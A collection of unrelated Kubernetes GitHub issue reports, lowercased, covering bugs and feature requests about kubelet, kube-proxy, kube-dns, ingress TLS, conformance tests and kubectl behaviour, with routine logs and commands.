pod \ dhrubacol11222268508-leaf-0-84612_master da61dd55-3551-11e7-b03c-0207e1349dc2 \  failed: rpc error: code = 2 desc = error: no such container: bedfcb3556065064b60471b8ebb73b09c1c450cfd4d07a087a45ba5d8e83dd2f\r may 10 22:30:27 ip-172-20-39-143 kubelet 9126 : e0510 22:30:27.304180    9126 generic.go:239  pleg: ignoring events for pod dhrubacol11222268508-leaf-0-84612/master: rpc error: code = 2 desc = error: no such container: bedfcb3556065064b60471b8ebb73b09c1c450cfd4d07a087a45ba5d8e83dd2f\r may 10 22:30:27 ip-172-20-39-143 kubelet 9126 : e0510 22:30:27.408508    9126 kuberuntime_manager.go:858  getpodcontainerstatuses for pod \ dhrubacol11222268508-leaf-0-84612_master da61dd55-3551-11e7-b03c-0207e1349dc2 \  failed: rpc error: code = 2 desc = error: no such container: bedfcb3556065064b60471b8ebb73b09c1c450cfd4d07a087a45ba5d8e83dd2f\r    \r \r  and then the \ getpodcontainerstatuses... failed\  messages spam the logs \r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r master\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r currently, the yaml template for both npd and fluentd service do not have  criticaladdonsonly  toleration, this may cause the daemonset cannot be started on a node if it is already selected to run  critical pods , it is better to add  criticaladdonsonly  toleration for both npd and fluentd so as to make sure those daemonset can run on the nodes even if it is for  critical pod .\r \r all other daemonset in kubernetes also have such tolerations.\r \r   what you expected to happen  :\r should add  criticaladdonsonly  toleration for both npd and fluentd.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

is this a bug report or feature request?  :\r bug report  may be \r \r   \r   what happened  :\r i try to get access to kubernetes api to take a configuration inside a pod.\r when i curl this query:\r    \r curl -v --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \\\r   -h \ authorization: bearer $ cat /var/run/secrets/kubernetes.io/serviceaccount/token \   \\\r   https://kubernetes.default:443/api/v1/namespaces/rabbitmq/endpoints/rabbitmq\r    \r i receive an   unauthorized   message:\r \r this time i trying to rise an autocluster rabbitmq plugin in kubernetes environment.\r this  post  https://github.com/rabbitmq/rabbitmq-autocluster/issues/41  may help you to understand the problem.\r \r also i use the next set of  receipts  https://github.com/rabbitmq/rabbitmq-autocluster/tree/master/examples/k8s_statefulsets  to rise a cluster\r \r   what you expected to happen  :\r i have to successfully get information from api-server via token and self-signed ca-certificate of my working k8s-cluster!\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r bash-4.4$ curl -v --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt -h \ authorization: bearer $ cat /var/run/secrets/kubernetes.io/serviceaccount/token \  https://kubernetes.default:443/api/v1/namespaces/rabbitmq/endpoints/rabbitmq\r \r     trying 10.100.0.1...\r   tcp_nodelay set\r   connected to kubernetes.default  10.100.0.1  port 443   0 \r   initializing nss with certpath: sql:/etc/pki/nssdb\r     cafile: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt\r   capath: none\r   nss: client certificate not found  nickname not specified \r   alpn, server accepted to use h2\r   ssl connection using tls_ecdhe_rsa_with_aes_128_gcm_sha256\r   server certificate:\r   \tsubject: e=root@infra.local,cn=kube-node02.infra.local,ou=system service,o=a,l=b,st=c,c=ru\r   \tstart date: aug 03 12:57:28 2017 gmt\r   \texpire date: aug 03 12:57:28 2018 gmt\r   \tcommon name: kube-node02.infra.local\r   \tissuer: e=root@infra.local,cn=privateca,ou=root service,o=a,l=b,st=c,c=ru\r   using http2, server supports multi-use\r   connection state changed  http/2 confirmed \r   copying http/2 data in stream buffer to connection buffer after upgrade: len=0\r   using stream id: 1  easy handle 0xc083d05ff0 \r > get /api/v1/namespaces/rabbitmq/endpoints/rabbitmq http/2\r > host: kubernetes.default\r > user-agent: curl/7.53.1\r > accept:  / \r > authorization: bearer   token omitted   > \r   connection state changed  max_concurrent_streams updated !\r < http/2 401 \r < content-type: text/plain; charset=utf-8\r < x-content-type-options: nosniff\r < content-length: 13\r < date: fri, 04 aug 2017 13:05:18 gmt\r < \r unauthorized\r   connection  0 to host kubernetes.default left intact\r bash-4.4$\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :   v1.7.2  \r - cloud provider or hardware configuration  :   none  \r - os  e.g. from /etc/os-release : fedora release 25\r - kernel  e.g.  uname -a  : 4.11.12-200.fc25.x86_64\r

is this a bug report or feature request?  :\r  \r   what happened  :\r four medium-scale e2e performance test runs failed recently due to errors such as the following:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:135\r expected error:\r     < errors.errorstring | 0xc42fa524e0>: {\r         s: \ container kube-apiserver-e2e-scalability-master/kube-apiserver is using 1506.86328125/1500 mb of memory\ ,\r     }\r     container kube-apiserver-e2e-scalability-master/kube-apiserver is using 1506.86328125/1500 mb of memory\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:365\r    \r \r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8046\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8059\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8086\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8136\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8177\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8182\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8191\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8196\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-beta/1\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8215\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8232\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8248\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8256\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8275\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8276\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8297\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8300\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8302\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8333\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8337\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8361\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8367\r - https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/8371\r \r @kubernetes/sig-scalability-bugs \r @kubernetes/sig-api-machinery-bugs \r /

  \r   what happened  :\r \r when i run conformance tests, i can see 4 duplicate test names in the console and the junit report. \r \r this is needed if we want to track failures across multiples runs since this is the only way to identify a test.\r \r   what you expected to happen  :\r \r test names should be distinct.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run conformance tests and look at test names.\r \r   anything else we need to know?  :\r \r for example,   k8s.io  projected should be consumable from pods in volume with mappings  conformance   sig-storage   appears twice. this is just a naming issue. \r \r two tests, with different parameters, with the same name are declared here :\r https://github.com/kubernetes/kubernetes/blob/master/test/e2e/common/projected.go l73\r https://github.com/kubernetes/kubernetes/blob/master/test/e2e/common/projected.go l446\r \r the problem is located only in this file.\r \r full list :\r    \r  k8s.io  projected optional updates should be reflected in volume  conformance   sig-storage \r  k8s.io  projected should be consumable from pods in volume with defaultmode set  conformance   sig-storage \r  k8s.io  projected should be consumable from pods in volume  conformance   sig-storage \r  k8s.io  projected should be consumable from pods in volume with mappings  conformance   sig-storage \r    \r \r this is affecting at least 1.8.2, 1.9.2 and current master branch.\r

imo it's surprising that  kubectl delete foo --force  does not force delete a resource.  --force  only takes effect when  --grace-period=0 . \r \r https://github.com/kubernetes/kubernetes/blob/7bcfbcd58515421d9756fc9bf89371c4e5257b2b/pkg/kubectl/cmd/delete.go l211-l221\r \r the description of  --force  reads this:  immediate deletion of some resources may result in inconsistency or data loss and requires confirmation. \r \r we should make it more clear what  --force  does and even print warnings when  --force  is specified without  --grace-period=0 . \r \r @kubernetes/sig-cli-maintainers @smarterclayton

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r    \r   k8s.io/kubernetes/pkg/features\r ..\\..\\go\\src\\k8s.io\\kubernetes\\pkg\\features\\kube_features.go:415:48: cannot use \ k8s.io/apiextensions-apiserver/pkg/features\ .customresourcevalidation  type \ k8s.io/apiextensions-apiserver/vendor/k8s.io/apiserver/pkg/util/feature\ .feature  as type \ k8s.io/apiserver/pkg/util/feature\ .feature in map key\r ..\\..\\go\\src\\k8s.io\\kubernetes\\pkg\\features\\kube_features.go:416:50: cannot use \ k8s.io/apiextensions-apiserver/pkg/features\ .customresourcesubresources  type \ k8s.io/apiextensions-apiserver/vendor/k8s.io/apiserver/pkg/util/feature\ .feature  as type \ k8s.io/apiserver/pkg/util/feature\ .feature in map key\r    \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.0\r - cloud provider or hardware configuration: \r - os  e.g. from /etc/os-release : windows\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r \r   what happened  :\r \r if user has submitted log file mount option via sc,  glusterfs plugin also add an additional  log-file  mount option without a value set. this cause the glusterfs fuse mount  to override user supplied log-file option with a null value which is not intended.\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r create an sc with  log-file  mount option.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r master\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r additional info   https://github.com/kubernetes/kubernetes/pull/68435/ fixes it.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r >  \r   what happened  :\r when kubelet started, kubelet update node status to apiserver through  func syncnodestatus  . in func  setnodestatusmachineinfo   which is included by func syncnodestatus   , we update  node.capacity, node.capacity contains ephemeral-storage, but we update ephemeral-storage value in func updateruntimeup which is started after syncnodestatus, so when kubelet started, can't get valid node  ephemeral-storage  in update node status\r \r ! image  https://user-images.githubusercontent.com/12136478/47194753-26d1d200-d38b-11e8-9d25-dcf8eb9a7dea.png \r ! image  https://user-images.githubusercontent.com/12136478/47195022-7cf34500-d38c-11e8-92b3-d4064cf94b80.png \r \r ! image  https://user-images.githubusercontent.com/12136478/47195011-63ea9400-d38c-11e8-8393-39e3a40ccb32.png \r \r   what you expected to happen  :\r  when kubelet started, get valid node  ephemeral-storage  in update node status\r \r   how to reproduce it  as minimally and precisely as possible   :\r normal start\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.10.

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : when the nodename is different from the hostname  set by the os or the --hostname-override argument , kube-proxy believes all endpoints are remote endpoints. this breaks networking config.\r \r   what you expected to happen  : hostname and nodename are not required to be the same, so this should work.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run kube-proxy with a hostname-override that does not match the nodename that kubelet registered with.\r \r   anything else we need to know?  :\r kube-proxy behaves as if the endpoints are remote because the nodename of the endpoints does not match the hostname-override passed into kube-proxy. this problem exists on both windows and linux.\r \r linux/iptables:\r this is the line where iptables proxier compares a nodename in an endpoint to the hostname:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/endpoints.go l221\r \r the hostname used by proxier above is determined by kube-proxy here:\r https://github.com/kubernetes/kubernetes/blob/master/cmd/kube-proxy/app/server_others.go l117\r \r this will use the hostname-override if provided, and the os' hostname otherwise. this hostname is used to create the proxier, a healthz check, and the noderef in the proxyserver struct. i believe that the other two uses actually want a hostname  an ip or something dns-routeable .\r \r windows/winkernel:\r this is the line where winkernel proxier compares a nodename in an endpoint to the hostname:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/winkernel/proxier.go l896\r \r the hostname used by proxier above is determined by windows kube-proxy here:\r https://github.com/kubernetes/kubernetes/blob/master/cmd/kube-proxy/app/server_windows.go l75\r \r \r i think kube-proxy should use the same cloud-provider function to determine the nodename, since the important thing about this value is it matched what kubelet is using when registering the node.\r \r kubelet determines the nodename here:\r https://github.com/kubernetes/kubernetes/blob/master/cmd/kubelet/app/server.go l536\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11/1.12  but the code on master has the same issue \r - cloud provider or hardware configuration: vsphere\r \r <!-- do not edit below this line -->\r  \r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :  i would like to ability to scale down a stateful set and enter the pod i want to target to be removed from the statefulset as a result of this command. i would then like to add the name of the node when i request the statefulset to scale back up. \r \r   why is this needed  : this will help greatly in applications with large statefulsets during maintenence. it will give the ability to put maintenence operations in a loop and apply them to locations of each pod without having to scale the whole set down to zero. will help greatly with elastic search.\r

what happened  :\r i am running k8s cluster with singularity container runtime via  singularity-cri  https://github.com/sylabs/singularity-cri . after configuring  kubectl  and running  kubectl get no  &  kubectl describe no <node-name>  i have the following:\r \r    \r .....\r container runtime version:  singularity://unknown\r ....\r    \r \r even though in kubelet logs i can see the line with correct version:\r    \r i0321 11:40:41.949782     429 kuberuntime_manager.go:197  container runtime singularity initialized, version: 3.1.0-35.ge15c551\r    \r \r   what you expected to happen  :\r \r expected to have\r \r    \r .....\r container runtime version:  singularity://3.1.0-35.ge15c551\r ....\r    \r \r in  kubectl describe no <node-name>  output.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r to reproduce it you'll need to have  singularity installed  https://www.sylabs.io/guides/3.0/user-guide/installation.html . after that the easiest way to check is to use sykube as described  here  https://www.sylabs.io/guides/cri/1.0/user-guide/sykube.html .\r \r   anything else we need to know?  :\r \r source code where version is returned  here  https://github.com/sylabs/singularity-cri/blob/master/pkg/server/runtime/runtime.go l178 \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12.1\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

elasticsearch and influxdb are currently backed by host-volume mounts.  this means that this data is not reliably persisted in case of e.g. machine failure.  this also caused us some problems due to a mistake i made with a very small size of the disk that backs these on aws, but that is a separate issue  hopefully now fixed & cherry-picked .   splitting out some issues out of  13174

13978 added a node port option.  once this merges, lets also add in a  --apiserver-cloud-provider  option as well.  this will give maximum flexibility for people wanting to reach into the cluster externally.  maybe the  apiserver-cloud-provider  and  apiserver-node-port  options  could be mutally exclusive to simplify the ux  given that one implies another anyway  .      kubernetes servicetypes allow you to specify what kind of service you want. the default and base type is clusterip, which exposes a service to connection from inside the cluster. nodeport and loadbalancer are two types that expose services to external traffic.  valid values for the servicetype field are:      clusterip: use a cluster-internal ip only - this is the default and is discussed above. choosing this value means that you want this service to be reachable only from inside of the cluster.     nodeport: on top of having a cluster-internal ip, expose the service on a port on each node of the cluster  the same port on each node . you'll be able to contact the service on any <nodeip>:nodeport address.     loadbalancer: on top of having a cluster-internal ip and exposing service on a nodeport also, ask the cloud provider for a load balancer which forwards to the service exposed as a <nodeip>:nodeport for each node.

killpod in the container runtime should eat errors when we try to stop a container that does not exist anymore  it's not an error .      failed to delete container: error response from daemon: cannot stop container cab1e020c899e657ee0b4ffeb1a8050f32f2ff6f7f9a3d0c58e8abcd00a1a55a: active c failed killing the pod \ failing-dc-1-ou1q3\ : failed to \ killcontainer\  for \ pod\  with killcontainererror: \ error response from daemon: cannot stop conta

feature request: per destination bandwidth shaping  while it's now possible to add a per-pod bandwidth limit with annotations  kubernetes.io/{ingress,egress}-bandwidth  this limit is set on the pod regardless of the trafic's origin/destination.  in our use-case we would like to host containers for other companies in our kubernetes cluster. while we would like the local<->local bandwidth to be unlimited, we want to limit the internet-egress bandwidth of theses pods to avoid paying egress charges on them. another option would be per-deployment internet-egress accounting but i couldn't find anything on this.    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : bandwidth: https://github.com/kubernetes/kubernetes/issues/11965 https://github.com/kubernetes/kubernetes/issues/2856  shaper: https://github.com/kubernetes/kubernetes/pull/11988 https://github.com/kubernetes/kubernetes/pull/23740  ---    kubernetes version    use  kubectl version  : 1.3.5    environment  : -   cloud provider or hardware configuration  : google gke -   os    e.g. from /etc/os-release : debian wheezy -   kernel    e.g.  uname -a  : 3.16.0-4-amd64

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no.\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  ingress   tls .\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.4\r \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  : currently ingress resources can only have one tls certificate configured:\r \r    yaml\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: test\r spec:\r   tls:\r     - secretname: testsecret\r   rules:\r   - host: foo.bar.com\r     http:\r       paths:\r       - backend:\r           servicename: s1\r           serviceport: 80\r   - host: bar.foo.com\r     http:\r       paths:\r       - backend:\r           servicename: s2\r           serviceport: 80\r    \r \r   what you expected to happen  : would it make sense to have a tls certificate per route rule. something like this:\r \r    yaml\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: test\r spec:\r   rules:\r   - host: foo.bar.com\r     tls:\r       - secretname: testsecret\r     http:\r       paths:\r       - backend:\r           servicename: s1\r           serviceport: 80\r   - host: bar.foo.com\r     tls:\r       - secretname: testsecret\r     http:\r       paths:\r       - backend:\r           servicename: s2\r           serviceport: 80\r    \r \r i am not aware of the design decisions behind the current implementation so this might not make sense at all.\r the reason i propose this is because i see ingress'es as public ip addresses. you might want to have several public ips pointing to your cluster but also only one ip and then have several hosts point to that ip.\r \r initially submitted at https://github.com/kubernetes/contrib/issues/2058, but per request of @aledbf, submitting here.

when the client request server by clusterip, the server can not get the correct client ip if they are not in the same host, but the flannel.1 ip, actually. this is because the docker and flannel has masquerade that container can access to the external network,i need both be satisfied at the same time, my solution is to replace the out rule with the host's network card,is there a better idea?\r before change：\r chain postrouting  policy accept 4 packets, 240 bytes \r  pkts  bytes target           prot opt in     out     source               destination         \r     0     0 masquerade  all      --          !docker0   172.16.38.0/24       0.0.0.0/0\r after change:\r chain postrouting  policy accept 4 packets, 240 bytes \r  pkts  bytes target           prot opt in     out     source               destination         \r     0     0 masquerade  all      --          eth1   172.16.38.0/24       0.0.0.0/0\r

i was trying to run kubemark on my local cluster. and hollow-npd completely didn't work:\r - it was breaking nodes from the base cluster by making them unready\r - it was preventing hollow kubelet and hollow proxy from running\r \r i don't know what is the difference between jenkins and my local but we should fix it.

this causes one component on master to fail in our standard test clusters. usually it's npd:\r    \r kubectl get daemonset --namespace=kube-system\r name               desired   current   ready     up-to-date   available   node-selector                                 age\r fluentd-gcp-v2.0   4         4         4         4            4           beta.kubernetes.io/fluentd-ds-ready=true      1h\r ip-masq-agent      4         4         4         4            4           beta.kubernetes.io/masq-agent-ds-ready=true   1h\r npd-v0.4.0         4         3         3         3            3           <none>                                        1h\r    \r \r cc @kubernetes/sig-cluster-lifecycle-bugs

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r kube-dns fails readiness probe when k8s uses ipv6 addressing.\r \r   what you expected to happen  :\r \r kube-dns pod to pass readiness and health probes.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. setup ipv6 network\r 2. download, install and configure cni  0.6.0 bins  https://github.com/containernetworking/plugins/releases/tag/v0.6.0  using ipv6.\r 3. deploy k8s using ipv6 addresses for master and node services.\r 4. deploy kube-dns use stock  manifests  https://github.com/kubernetes/kubernetes/tree/master/cluster/addons/dns \r \r   anything else we need to know?  :\r n/a\r \r   environment  :\r n/a\r

off-shoot of https://github.com/kubernetes/kubernetes/issues/52284. while going through the code today i found some potential improvements that can be made to cidr-allocator:\r \r -  x  add concurrency to cloud-cidr-allocator queue processing\r -  x  move node updates out of the main control loop to a separate channel\r -  x  ~list instances from cloud provider periodically to find alias ranges of nodes, instead of making individual get calls  but use them as a fallback if list didn't have the result ~\r  edit: this one's unneeded, as the other alternative i suggested  here  https://github.com/kubernetes/kubernetes/pull/52285 issuecomment-328809157  was implemented \r -  x  use node informer for getting nodes instead of making api calls\r -  x  perform patchs instead of puts to nodes\r -     use rate-limited queue to requeue failed items instead of retrying n times back-to-back\r \r cc @kubernetes/sig-network-misc @kubernetes/sig-scalability-misc @bowei @thockin @wojtek-t

i could not find how can i do custom metric  query per second  in kubernetes 1.7 .can you show me which  steps i should follow?\r \r \r i found these 3 structure,but they are not the same.\r  https://docs.bitnami.com/kubernetes/how-to/configure-autoscaling-custom-metrics/  url \r \r  https://github.com/mwielgus/kubernetes.github.io/blob/custom-metrics/docs/user-guide/horizontal-pod-autoscaling/index.md support-for-custom-metrics  url \r \r  https://kubernetes.io/docs/tasks/run-application/horizontal-pod-autoscale-walkthrough/  url

  \r when downgrade test fails  ref:  57013  due to master not ready, it costs about 15 hours to waiting for new master to respond. it's too long. it'd be good to shorten the waiting period to fail fast.\r \r https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-beta-stable1-downgrade-cluster/33/build-log.txt\r \r    \r i1204 02:22:34.047  == waiting for new master to respond to api requests ==\r i1204 16:55:41.775  .......  tons of dots ......you should now be able to use ssh/scp with your instances.\r i1204 16:55:41.777  for example, try running:\r i1204 16:55:41.777  \r i1204 16:55:41.778    $ ssh bootstrap-e2e-master.us-central1-f.k8s-jkns-gce-reboot-1-4\r i1204 16:55:41.778  \r w1204 16:55:41.879  2017/12/04 16:54:57 util.go:196: interrupt after 15h0m0s timeout during kubetest --test --test_args=--ginkgo.focus=\\ feature:clusterdowngrade\\  --upgrade-target=ci/k8s-stable1 --upgrade-image=gci --report-dir=/workspace/_artifacts --disable-log-dump=true --report-prefix=upgrade --v=true --check-version-skew=false. will terminate in another 15m\r w1204 16:55:41.879  2017/12/04 16:54:57 util.go:177: killing ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ feature:clusterdowngrade\\  --upgrade-target=ci/k8s-stable1 --upgrade-image=gci --report-dir=/workspace/_artifacts --disable-log-dump=true --report-prefix=upgrade -8470  after receiving signal\r w1204 16:55:41.880  2017/12/04 16:54:57 util.go:157: step './hack/ginkgo-e2e.sh --ginkgo.focus=\\ feature:clusterdowngrade\\  --upgrade-target=ci/k8s-stable1 --upgrade-image=gci --report-dir=/workspace/_artifacts --disable-log-dump=true --report-prefix=upgrade' finished in 14h51m9.255010673s\r w1204 16:55:41.881  2017/12/04 16:54:57 main.go:312: something went wrong: encountered 1 errors:  error during ./hack/ginkgo-e2e.sh --ginkgo.focus=\\ feature:clusterdowngrade\\  --upgrade-target=ci/k8s-stable1 --upgrade-image=gci --report-dir=/workspace/_artifacts --disable-log-dump=true --report-prefix=upgrade: signal: killed \r w1204 16:55:41.881  2017/12/04 16:54:57 util.go:157: step 'kubetest --test --test_args=--ginkgo.focus=\\ feature:clusterdowngrade\\  --upgrade-target=ci/k8s-stable1 --upgrade-image=gci --report-dir=/workspace/_artifacts --disable-log-dump=true --report-prefix=upgrade --v=true --check-version-skew=false' finished in 14h51m13.027219555s\r    \r \r /cc @enisoc @jpbetz @krzyzacy @krousey

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r  controller-manager  crashes with error  client_builder.go:273  serviceaccount \ vsphere-cloud-provider\  is invalid: metadata.name: invalid value: \ vsphere-cloud-provider\ : a dns-1123 subdomain must consist of lower case alphanumeric characters, '-' or '.', and must start and end with an alphanumeric character  e.g. 'example.com', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ? \\. a-z0-9   -a-z0-9   a-z0-9  ?  '  \r \r   what you expected to happen  :\r i expected the controller-manager to launch without issue.\r \r   how to reproduce it  as minimally and precisely as possible   :\r launch a controller-manager with a cloud-config per  vmware documentation  https://vmware.github.io/vsphere-storage-for-kubernetes/documentation/existing.html step-5-create-the-vsphere-cloud-config-file-vsphereconf .\r \r   anything else we need to know?  :\r root cause appears to be  here  https://github.com/kubernetes/kubernetes/blob/94b45a9e847a002bb6f6e43a11dcf83782e103df/pkg/cloudprovider/providers/vsphere/vsphere.go l220 . perhaps lowercasing the 's' will solve this?\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.0\r - cloud provider or hardware configuration: vsphere\r - os  e.g. from /etc/os-release : ubuntu 17.10\r - kernel  e.g.  uname -a  : linux 4.9.61\r - install tools: \r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r kubeadm init --kubernetes-version=v1.9.0 --pod-network-cidr=10.244.0.0/16\r kubectl create -f https://raw.githubusercontent.com/coreos/flannel/master/documentation/kube-flannel.yml\r kubectl get pod --all-namespaces\r namespace     name                                  ready          status                  restarts          age\r kube-system   kube-dns-6f4fd4bdf-ws2xx      2/3           crashloopbackoff          9                 13m\r \r   what you expected to happen  :\r kube-dns should be working fine without any errors or crashloopbackoff\r \r   how to reproduce it  as minimally and precisely as possible   :\r on centos 7.2. execute below\r $ sudo kubeadm reset\r $ sudo systemctl restart kubelet.service\r $ sudo kubeadm init --pod-network-cidr=10.244.0.0/16\r $ kubectl create -f https://raw.githubusercontent.com/coreos/flannel/master/documentation/kube-flannel.yml\r $ kubectl get pod --all-namespaces\r \r   anything else we need to know?  :\r swapoff\r selinux disabled\r docker version 17.03\r docker and kubernetes have same cgroup driver : 